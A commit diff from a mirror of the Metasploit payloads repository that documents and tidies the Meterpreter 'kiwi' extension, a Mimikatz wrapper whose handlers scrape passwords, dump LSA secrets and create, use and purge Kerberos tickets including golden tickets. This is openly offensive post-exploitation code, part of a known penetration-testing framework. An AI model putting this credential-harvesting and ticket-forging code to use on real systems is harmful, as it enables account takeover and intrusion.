mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-24 10:09:49 +02:00
Fixes, documentation and tidying of kiwi code
This commit is contained in:
parent
83d4d2b0b7
commit
32c7126793
c/meterpreter
source
common
extensions/kiwi
workspace/ext_server_kiwi
@ -324,6 +324,7 @@ DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str )
|
|||||||
* @param targetTlv Pointer to the \c Tlv which will contain the wide string value
|
* @param targetTlv Pointer to the \c Tlv which will contain the wide string value
|
||||||
* @param type TLV type for the value.
|
* @param type TLV type for the value.
|
||||||
* @param str Pointer to the wide-string value to add to the packet.
|
* @param str Pointer to the wide-string value to add to the packet.
|
||||||
|
* @param strLength The length of the string, in characters, excluding the terminating NULL.
|
||||||
* @return Indication of success or failure.
|
* @return Indication of success or failure.
|
||||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||||
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
|
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#define DEBUGTRACE
|
//#define DEBUGTRACE
|
||||||
|
|
||||||
#ifdef DEBUGTRACE
|
#ifdef DEBUGTRACE
|
||||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||||
|
@ -1,13 +1,12 @@
|
|||||||
/* Benjamin DELPY `gentilkiwi`
|
/*!
|
||||||
http://blog.gentilkiwi.com
|
* @file main.c
|
||||||
benjamin@gentilkiwi.com
|
* @brief Entry point for the kiwi extension.
|
||||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
*/
|
||||||
*/
|
|
||||||
|
|
||||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||||
|
|
||||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||||
@ -23,6 +22,7 @@ DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet);
|
|||||||
DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet);
|
DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet);
|
||||||
DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet);
|
DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet);
|
||||||
|
|
||||||
|
/*! @brief The enabled commands for this extension. */
|
||||||
Command customCommands[] =
|
Command customCommands[] =
|
||||||
{
|
{
|
||||||
COMMAND_REQ("kiwi_scrape_passwords", request_scrape_passwords),
|
COMMAND_REQ("kiwi_scrape_passwords", request_scrape_passwords),
|
||||||
@ -34,6 +34,12 @@ Command customCommands[] =
|
|||||||
COMMAND_TERMINATOR
|
COMMAND_TERMINATOR
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Handler for the lsa dump secrets message.
|
||||||
|
* @param remote Pointer to the \c Remote instance.
|
||||||
|
* @param packet Pointer to the incoming packet.
|
||||||
|
* @returns \c ERROR_SUCCESS
|
||||||
|
*/
|
||||||
DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet)
|
DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet)
|
||||||
{
|
{
|
||||||
DWORD result;
|
DWORD result;
|
||||||
@ -47,6 +53,12 @@ DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet)
|
|||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Handler for the use kerberos ticket message.
|
||||||
|
* @param remote Pointer to the \c Remote instance.
|
||||||
|
* @param packet Pointer to the incoming packet.
|
||||||
|
* @returns \c ERROR_SUCCESS
|
||||||
|
*/
|
||||||
DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet)
|
DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet)
|
||||||
{
|
{
|
||||||
Packet * response = packet_create_response(packet);
|
Packet * response = packet_create_response(packet);
|
||||||
@ -70,6 +82,12 @@ DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet)
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Handler for the create golden kerberos ticket message.
|
||||||
|
* @param remote Pointer to the \c Remote instance.
|
||||||
|
* @param packet Pointer to the incoming packet.
|
||||||
|
* @returns \c ERROR_SUCCESS
|
||||||
|
*/
|
||||||
DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet)
|
DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet)
|
||||||
{
|
{
|
||||||
DWORD result;
|
DWORD result;
|
||||||
@ -94,6 +112,12 @@ DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet)
|
|||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Handler for the list kerberos tickets message.
|
||||||
|
* @param remote Pointer to the \c Remote instance.
|
||||||
|
* @param packet Pointer to the incoming packet.
|
||||||
|
* @returns \c ERROR_SUCCESS
|
||||||
|
*/
|
||||||
DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet)
|
DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet)
|
||||||
{
|
{
|
||||||
DWORD result;
|
DWORD result;
|
||||||
@ -107,6 +131,12 @@ DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet)
|
|||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Handler for the purge current kerberos tickets message.
|
||||||
|
* @param remote Pointer to the \c Remote instance.
|
||||||
|
* @param packet Pointer to the incoming packet.
|
||||||
|
* @returns \c ERROR_SUCCESS
|
||||||
|
*/
|
||||||
DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet)
|
DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet)
|
||||||
{
|
{
|
||||||
DWORD result = mimikatz_kerberos_ticket_purge();
|
DWORD result = mimikatz_kerberos_ticket_purge();
|
||||||
@ -118,6 +148,12 @@ DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet)
|
|||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Handler for the password scraping message.
|
||||||
|
* @param remote Pointer to the \c Remote instance.
|
||||||
|
* @param packet Pointer to the incoming packet.
|
||||||
|
* @returns \c ERROR_SUCCESS
|
||||||
|
*/
|
||||||
DWORD request_scrape_passwords(Remote *remote, Packet *packet)
|
DWORD request_scrape_passwords(Remote *remote, Packet *packet)
|
||||||
{
|
{
|
||||||
DWORD result;
|
DWORD result;
|
||||||
@ -132,15 +168,17 @@ DWORD request_scrape_passwords(Remote *remote, Packet *packet)
|
|||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*!
|
||||||
* Initialize the server extension
|
* @brief Initialises the server extension.
|
||||||
|
* @param remote Pointer to the \c Remote instance.
|
||||||
|
* @returns \c ERROR_SUCCESS
|
||||||
*/
|
*/
|
||||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||||
{
|
{
|
||||||
hMetSrv = remote->hMetSrv;
|
hMetSrv = remote->hMetSrv;
|
||||||
|
|
||||||
dprintf("[KIWI] Init server extension - initorclean");
|
dprintf("[KIWI] Init server extension - initorclean");
|
||||||
mimikatz_initOrClean(TRUE);
|
mimikatz_init_or_clean(TRUE);
|
||||||
|
|
||||||
dprintf("[KIWI] Init server extension - register");
|
dprintf("[KIWI] Init server extension - register");
|
||||||
command_register_all(customCommands);
|
command_register_all(customCommands);
|
||||||
@ -150,12 +188,14 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
|||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*!
|
||||||
* Deinitialize the server extension
|
* @brief Deinitialises the server extension.
|
||||||
|
* @param remote Pointer to the \c Remote instance.
|
||||||
|
* @returns \c ERROR_SUCCESS
|
||||||
*/
|
*/
|
||||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||||
{
|
{
|
||||||
mimikatz_initOrClean(FALSE);
|
mimikatz_init_or_clean(FALSE);
|
||||||
command_deregister_all(customCommands);
|
command_deregister_all(customCommands);
|
||||||
|
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
|
@ -1,3 +1,7 @@
|
|||||||
|
/*!
|
||||||
|
* @file main.h
|
||||||
|
* @brief TLV related bits for the KIWI extension.
|
||||||
|
*/
|
||||||
#ifndef _METERPRETER_SOURCE_EXTENSION_KIWI_KIWI_H
|
#ifndef _METERPRETER_SOURCE_EXTENSION_KIWI_KIWI_H
|
||||||
#define _METERPRETER_SOURCE_EXTENSION_KIWI_KIWI_H
|
#define _METERPRETER_SOURCE_EXTENSION_KIWI_KIWI_H
|
||||||
|
|
||||||
@ -12,8 +16,7 @@
|
|||||||
#define KIWI_PWD_ID_SEK_TSPKG ((UINT)4)
|
#define KIWI_PWD_ID_SEK_TSPKG ((UINT)4)
|
||||||
#define KIWI_PWD_ID_SEK_LIVESSP ((UINT)5)
|
#define KIWI_PWD_ID_SEK_LIVESSP ((UINT)5)
|
||||||
#define KIWI_PWD_ID_SEK_SSP ((UINT)6)
|
#define KIWI_PWD_ID_SEK_SSP ((UINT)6)
|
||||||
#define KIWI_PWD_ID_SEK_TICKETS ((UINT)7)
|
#define KIWI_PWD_ID_SEK_DPAPI ((UINT)7)
|
||||||
#define KIWI_PWD_ID_SEK_DPAPI ((UINT)8)
|
|
||||||
|
|
||||||
#define TLV_TYPE_KIWI_PWD_ID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 1)
|
#define TLV_TYPE_KIWI_PWD_ID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 1)
|
||||||
#define TLV_TYPE_KIWI_PWD_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 2)
|
#define TLV_TYPE_KIWI_PWD_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 2)
|
||||||
|
BIN
c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.aps
Normal file
BIN
c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.aps
Normal file
Binary file not shown.
@ -6,10 +6,6 @@
|
|||||||
#include "mimikatz.h"
|
#include "mimikatz.h"
|
||||||
#include "mimikatz_interface.h"
|
#include "mimikatz_interface.h"
|
||||||
|
|
||||||
static wchar_t* output = NULL;
|
|
||||||
static DWORD outputLen = 0;
|
|
||||||
static DWORD outputSize = 0;
|
|
||||||
|
|
||||||
const KUHL_M * mimikatz_modules[] = {
|
const KUHL_M * mimikatz_modules[] = {
|
||||||
//&kuhl_m_standard,
|
//&kuhl_m_standard,
|
||||||
&kuhl_m_crypto,
|
&kuhl_m_crypto,
|
||||||
@ -27,7 +23,10 @@ const KUHL_M * mimikatz_modules[] = {
|
|||||||
&kuhl_m_vault,
|
&kuhl_m_vault,
|
||||||
};
|
};
|
||||||
|
|
||||||
DWORD mimikatz_doLocal(wchar_t * input);
|
#ifdef DEBUGTRACE
|
||||||
|
static wchar_t* output = NULL;
|
||||||
|
static DWORD outputLen = 0;
|
||||||
|
static DWORD outputSize = 0;
|
||||||
|
|
||||||
const wchar_t* mimikatz_get_output()
|
const wchar_t* mimikatz_get_output()
|
||||||
{
|
{
|
||||||
@ -49,8 +48,8 @@ void mimikatz_append_output(const wchar_t* newOutput)
|
|||||||
{
|
{
|
||||||
outputLen += lstrlenW(newOutput) + 1;
|
outputLen += lstrlenW(newOutput) + 1;
|
||||||
|
|
||||||
dprintf(L"[MIMIKATZ] appending: %s", newOutput);
|
dprintf(L"[KIWI] appending: %s", newOutput);
|
||||||
dprintf(L"[MIMIKATZ] outputSize %u outputLen %u", outputSize, outputLen);
|
dprintf(L"[KIWI] outputSize %u outputLen %u", outputSize, outputLen);
|
||||||
|
|
||||||
if (outputSize == 0)
|
if (outputSize == 0)
|
||||||
{
|
{
|
||||||
@ -67,13 +66,7 @@ void mimikatz_append_output(const wchar_t* newOutput)
|
|||||||
|
|
||||||
lstrcatW(output, newOutput);
|
lstrcatW(output, newOutput);
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType)
|
|
||||||
{
|
|
||||||
mimikatz_initOrClean(FALSE);
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
VOID (WINAPI * RtlGetNtVersionNumbers)(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild);
|
VOID (WINAPI * RtlGetNtVersionNumbers)(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild);
|
||||||
|
|
||||||
@ -87,7 +80,7 @@ VOID setup_function_pointers()
|
|||||||
kull_m_handle_initialise();
|
kull_m_handle_initialise();
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD mimikatz_initOrClean(BOOL Init)
|
DWORD mimikatz_init_or_clean(BOOL Init)
|
||||||
{
|
{
|
||||||
unsigned short indexModule;
|
unsigned short indexModule;
|
||||||
PKUHL_M_C_FUNC_INIT function;
|
PKUHL_M_C_FUNC_INIT function;
|
||||||
@ -96,19 +89,21 @@ DWORD mimikatz_initOrClean(BOOL Init)
|
|||||||
|
|
||||||
if (Init)
|
if (Init)
|
||||||
{
|
{
|
||||||
dprintf(L"[MIMIKATZ] initorclean - setting up function pointers");
|
dprintf(L"[KIWI] initorclean - setting up function pointers");
|
||||||
setup_function_pointers();
|
setup_function_pointers();
|
||||||
dprintf(L"[MIMIKATZ] initorclean - set writer");
|
#ifdef DEBUGTRACE
|
||||||
|
dprintf(L"[KIWI] initorclean - set writer");
|
||||||
kull_m_output_set_writer(mimikatz_append_output);
|
kull_m_output_set_writer(mimikatz_append_output);
|
||||||
|
#endif
|
||||||
|
|
||||||
if (RtlGetNtVersionNumbers != NULL)
|
if (RtlGetNtVersionNumbers != NULL)
|
||||||
{
|
{
|
||||||
dprintf(L"[MIMIKATZ] initorclean - GetNTVersion");
|
dprintf(L"[KIWI] initorclean - GetNTVersion");
|
||||||
RtlGetNtVersionNumbers(&MIMIKATZ_NT_MAJOR_VERSION, &MIMIKATZ_NT_MINOR_VERSION, &MIMIKATZ_NT_BUILD_NUMBER);
|
RtlGetNtVersionNumbers(&MIMIKATZ_NT_MAJOR_VERSION, &MIMIKATZ_NT_MINOR_VERSION, &MIMIKATZ_NT_BUILD_NUMBER);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
dprintf(L"[MIMIKATZ] Defaulting to Win2k");
|
dprintf(L"[KIWI] Defaulting to Win2k");
|
||||||
// default to Windows 2000
|
// default to Windows 2000
|
||||||
MIMIKATZ_NT_MAJOR_VERSION = 5;
|
MIMIKATZ_NT_MAJOR_VERSION = 5;
|
||||||
MIMIKATZ_NT_MINOR_VERSION = 0;
|
MIMIKATZ_NT_MINOR_VERSION = 0;
|
||||||
@ -116,14 +111,14 @@ DWORD mimikatz_initOrClean(BOOL Init)
|
|||||||
}
|
}
|
||||||
MIMIKATZ_NT_BUILD_NUMBER &= 0x00003fff;
|
MIMIKATZ_NT_BUILD_NUMBER &= 0x00003fff;
|
||||||
|
|
||||||
dprintf(L"[MIMIKATZ] initorclean - Versions: %u %u %u", MIMIKATZ_NT_MAJOR_VERSION, MIMIKATZ_NT_MINOR_VERSION, MIMIKATZ_NT_BUILD_NUMBER);
|
dprintf(L"[KIWI] initorclean - Versions: %u %u %u", MIMIKATZ_NT_MAJOR_VERSION, MIMIKATZ_NT_MINOR_VERSION, MIMIKATZ_NT_BUILD_NUMBER);
|
||||||
|
|
||||||
offsetToFunc = FIELD_OFFSET(KUHL_M, pInit);
|
offsetToFunc = FIELD_OFFSET(KUHL_M, pInit);
|
||||||
dprintf(L"[MIMIKATZ] initorclean - init done");
|
dprintf(L"[KIWI] initorclean - init done");
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
dprintf(L"[MIMIKATZ] initorclean - tearing down up");
|
dprintf(L"[KIWI] initorclean - tearing down up");
|
||||||
offsetToFunc = FIELD_OFFSET(KUHL_M, pClean);
|
offsetToFunc = FIELD_OFFSET(KUHL_M, pClean);
|
||||||
|
|
||||||
kull_m_output_set_writer(NULL);
|
kull_m_output_set_writer(NULL);
|
||||||
@ -133,11 +128,11 @@ DWORD mimikatz_initOrClean(BOOL Init)
|
|||||||
{
|
{
|
||||||
if (function = *(PKUHL_M_C_FUNC_INIT *)((ULONG_PTR)(mimikatz_modules[indexModule]) + offsetToFunc))
|
if (function = *(PKUHL_M_C_FUNC_INIT *)((ULONG_PTR)(mimikatz_modules[indexModule]) + offsetToFunc))
|
||||||
{
|
{
|
||||||
dprintf(L"[MIMIKATZ] initorclean - setting up module %s", mimikatz_modules[indexModule]->shortName);
|
dprintf(L"[KIWI] initorclean - setting up module %s", mimikatz_modules[indexModule]->shortName);
|
||||||
fStatus = function();
|
fStatus = function();
|
||||||
if (!NT_SUCCESS(fStatus))
|
if (!NT_SUCCESS(fStatus))
|
||||||
kprintf(L">>> %s of \'%s\' module failed : %08x\n", (Init ? L"INIT" : L"CLEAN"), mimikatz_modules[indexModule]->shortName, fStatus);
|
kprintf(L">>> %s of \'%s\' module failed : %08x\n", (Init ? L"INIT" : L"CLEAN"), mimikatz_modules[indexModule]->shortName, fStatus);
|
||||||
dprintf(L"[MIMIKATZ] initorclean - %s done", mimikatz_modules[indexModule]->shortName);
|
dprintf(L"[KIWI] initorclean - %s done", mimikatz_modules[indexModule]->shortName);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -146,136 +141,3 @@ DWORD mimikatz_initOrClean(BOOL Init)
|
|||||||
|
|
||||||
return (DWORD)STATUS_SUCCESS;
|
return (DWORD)STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD mimikatz_dispatchCommand(wchar_t * input)
|
|
||||||
{
|
|
||||||
NTSTATUS status;
|
|
||||||
|
|
||||||
dprintf(L"[MIMIKATZ] Dispatching command: %s", input);
|
|
||||||
|
|
||||||
switch (input[0])
|
|
||||||
{
|
|
||||||
/*case L'@':
|
|
||||||
case L'*':
|
|
||||||
status = mimikatz_doRemote(input + 1);
|
|
||||||
break;*/
|
|
||||||
case L'!':
|
|
||||||
status = kuhl_m_kernel_do(input + 1);
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
status = mimikatz_doLocal(input);
|
|
||||||
}
|
|
||||||
return (DWORD)status;
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD mimikatz_doLocal(wchar_t * input)
|
|
||||||
{
|
|
||||||
NTSTATUS status = STATUS_SUCCESS;
|
|
||||||
int argc;
|
|
||||||
wchar_t ** argv = CommandLineToArgvW(input, &argc), *module = NULL, *command = NULL, *match;
|
|
||||||
unsigned short indexModule, indexCommand;
|
|
||||||
BOOL moduleFound = FALSE, commandFound = FALSE;
|
|
||||||
|
|
||||||
dprintf(L"[MIMIKATZ] doing local: %s", input);
|
|
||||||
|
|
||||||
if (argv && (argc > 0))
|
|
||||||
{
|
|
||||||
if (match = wcsstr(argv[0], L"::"))
|
|
||||||
{
|
|
||||||
dprintf(L"[MIMIKATZ] match: %s", match);
|
|
||||||
if (module = (wchar_t *)LocalAlloc(LPTR, (match - argv[0] + 1) * sizeof(wchar_t)))
|
|
||||||
{
|
|
||||||
if ((unsigned int)(match + 2 - argv[0]) < wcslen(argv[0]))
|
|
||||||
{
|
|
||||||
command = match + 2;
|
|
||||||
}
|
|
||||||
RtlCopyMemory(module, argv[0], (match - argv[0]) * sizeof(wchar_t));
|
|
||||||
dprintf(L"[MIMIKATZ] module: %s", module);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
command = argv[0];
|
|
||||||
}
|
|
||||||
dprintf(L"[MIMIKATZ] command: %s", command);
|
|
||||||
|
|
||||||
for (indexModule = 0; !moduleFound && (indexModule < sizeof(mimikatz_modules) / sizeof(KUHL_M *)); indexModule++)
|
|
||||||
{
|
|
||||||
moduleFound = (!module || (_wcsicmp(module, mimikatz_modules[indexModule]->shortName) == 0));
|
|
||||||
dprintf(L"[MIMIKATZ] Checking '%s' against '%s' -> %s", module, mimikatz_modules[indexModule]->shortName, moduleFound ? L"FOUND" : L"not found");
|
|
||||||
|
|
||||||
if (!moduleFound)
|
|
||||||
{
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!command)
|
|
||||||
{
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
dprintf(L"[MIMIKATZ] Checking '%s' against %d commands for '%s'", command, mimikatz_modules[indexModule]->nbCommands, module);
|
|
||||||
for (indexCommand = 0; !commandFound && (indexCommand < mimikatz_modules[indexModule]->nbCommands); indexCommand++)
|
|
||||||
{
|
|
||||||
dprintf(L"[MIMIKATZ] Checking '%s' against '%s'", command, mimikatz_modules[indexModule]->commands[indexCommand].command);
|
|
||||||
commandFound = _wcsicmp(command, mimikatz_modules[indexModule]->commands[indexCommand].command) == 0;
|
|
||||||
if (!commandFound)
|
|
||||||
{
|
|
||||||
dprintf(L"[MIMIKATZ] '%s' not found", command);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
dprintf(L"[MIMIKATZ] '%s' FOUND. Executing", command);
|
|
||||||
status = mimikatz_modules[indexModule]->commands[indexCommand].pCommand(argc - 1, argv + 1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!moduleFound)
|
|
||||||
{
|
|
||||||
dprintf(L"[MIMIKATZ] \"%s\" module not found !", module);
|
|
||||||
for (indexModule = 0; indexModule < sizeof(mimikatz_modules) / sizeof(KUHL_M *); indexModule++)
|
|
||||||
{
|
|
||||||
kprintf(L"\n%16s", mimikatz_modules[indexModule]->shortName);
|
|
||||||
if (mimikatz_modules[indexModule]->fullName)
|
|
||||||
{
|
|
||||||
kprintf(L" - %s", mimikatz_modules[indexModule]->fullName);
|
|
||||||
}
|
|
||||||
if (mimikatz_modules[indexModule]->description)
|
|
||||||
{
|
|
||||||
kprintf(L" [%s]", mimikatz_modules[indexModule]->description);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
kprintf(L"\n");
|
|
||||||
}
|
|
||||||
else if (!commandFound)
|
|
||||||
{
|
|
||||||
indexModule -= 1;
|
|
||||||
dprintf(L"[MIMKATZ] \"%s\" command of \"%s\" module not found !", command, mimikatz_modules[indexModule]->shortName);
|
|
||||||
|
|
||||||
kprintf(L"\nModule :\t%s", mimikatz_modules[indexModule]->shortName);
|
|
||||||
if (mimikatz_modules[indexModule]->fullName)
|
|
||||||
{
|
|
||||||
kprintf(L"\nFull name :\t%s", mimikatz_modules[indexModule]->fullName);
|
|
||||||
}
|
|
||||||
if (mimikatz_modules[indexModule]->description)
|
|
||||||
{
|
|
||||||
kprintf(L"\nDescription :\t%s", mimikatz_modules[indexModule]->description);
|
|
||||||
}
|
|
||||||
kprintf(L"\n");
|
|
||||||
|
|
||||||
for (indexCommand = 0; indexCommand < mimikatz_modules[indexModule]->nbCommands; indexCommand++)
|
|
||||||
{
|
|
||||||
kprintf(L"\n%16s", mimikatz_modules[indexModule]->commands[indexCommand].command);
|
|
||||||
if (mimikatz_modules[indexModule]->commands[indexCommand].description)
|
|
||||||
{
|
|
||||||
kprintf(L" - %s", mimikatz_modules[indexModule]->commands[indexCommand].description);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
kprintf(L"\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
LocalFree(module);
|
|
||||||
LocalFree(argv);
|
|
||||||
}
|
|
||||||
return (DWORD)status;
|
|
||||||
}
|
|
@ -28,6 +28,4 @@
|
|||||||
|
|
||||||
extern VOID (WINAPI * RtlGetNtVersionNumbers)(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild);
|
extern VOID (WINAPI * RtlGetNtVersionNumbers)(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild);
|
||||||
|
|
||||||
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType);
|
|
||||||
|
|
||||||
#include "../debug.h"
|
#include "../debug.h"
|
||||||
|
@ -1,22 +1,37 @@
|
|||||||
|
/*!
|
||||||
|
* @file mimikatz_interface.c
|
||||||
|
* @brief Definition of bridging functions which talk to Mimikatz 2.
|
||||||
|
*/
|
||||||
#include "main.h"
|
#include "main.h"
|
||||||
#include "mimikatz_interface.h"
|
#include "mimikatz_interface.h"
|
||||||
#include <NTSecAPI.h>
|
#include <NTSecAPI.h>
|
||||||
|
|
||||||
// dirty hackes to get things to build
|
// The following values have been copied from source files because including those files here results in a nasty
|
||||||
// copied from crypto_system
|
// set of errors thanks to macro redefinitions and such. It's horrible, but it builds cleanly. These things are
|
||||||
|
// not likely to change anyway.
|
||||||
|
|
||||||
|
// Values copied from crypto_system
|
||||||
#define MD4_DIGEST_LENGTH 16
|
#define MD4_DIGEST_LENGTH 16
|
||||||
#define MD5_DIGEST_LENGTH 16
|
#define MD5_DIGEST_LENGTH 16
|
||||||
#define SHA_DIGEST_LENGTH 20
|
#define SHA_DIGEST_LENGTH 20
|
||||||
// copied from globals
|
|
||||||
|
// Values copied from globals
|
||||||
#define LM_NTLM_HASH_LENGTH 16
|
#define LM_NTLM_HASH_LENGTH 16
|
||||||
#define TIME_SIZE 28
|
#define TIME_SIZE 28
|
||||||
|
|
||||||
|
// These includes were created to provide a bridge between the Mimikatz code and meterpreter. Without this
|
||||||
|
// kind of approach we end up doing what we had to do with the old mimikatz and serialise things to CSV
|
||||||
|
// strings before passing them back to Metasploit. I wanted to avoid this hence instead I'm tapping into
|
||||||
|
// Mimikatz via callback functions.
|
||||||
#include "modules\kuhl_m_lsadump_struct.h"
|
#include "modules\kuhl_m_lsadump_struct.h"
|
||||||
#include "modules\kerberos\khul_m_kerberos_struct.h"
|
#include "modules\kerberos\khul_m_kerberos_struct.h"
|
||||||
|
|
||||||
typedef void (CALLBACK * PKUHL_M_SEKURLSA_EXTERNAL) (IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain, IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData);
|
typedef void (CALLBACK * PKUHL_M_SEKURLSA_EXTERNAL) (IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain, IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData);
|
||||||
typedef LONG (* PKUHL_M_SEKURLSA_ENUMERATOR)(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
typedef LONG (* PKUHL_M_SEKURLSA_ENUMERATOR)(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
||||||
|
|
||||||
|
// The functions listed here exist elsewhere in the application. Header files are not included
|
||||||
|
// due to collisions in include files which result in nasty build errors. The result of these
|
||||||
|
// functions is actually NTSTATUS, but defining it here via header inclusion isn't possible.
|
||||||
extern LONG kuhl_m_sekurlsa_all_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
extern LONG kuhl_m_sekurlsa_all_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
||||||
extern LONG kuhl_m_sekurlsa_wdigest_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
extern LONG kuhl_m_sekurlsa_wdigest_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
||||||
extern LONG kuhl_m_sekurlsa_msv_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
extern LONG kuhl_m_sekurlsa_msv_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
||||||
@ -30,6 +45,12 @@ extern LONG kuhl_m_kerberos_use_ticket(PBYTE fileData, DWORD fileSize);
|
|||||||
extern LONG kuhl_m_kerberos_create_golden_ticket(PCWCHAR szUser, PCWCHAR szDomain, PCWCHAR szSid, PCWCHAR szNtlm, PBYTE* ticketBuffer, DWORD* ticketBufferSize);
|
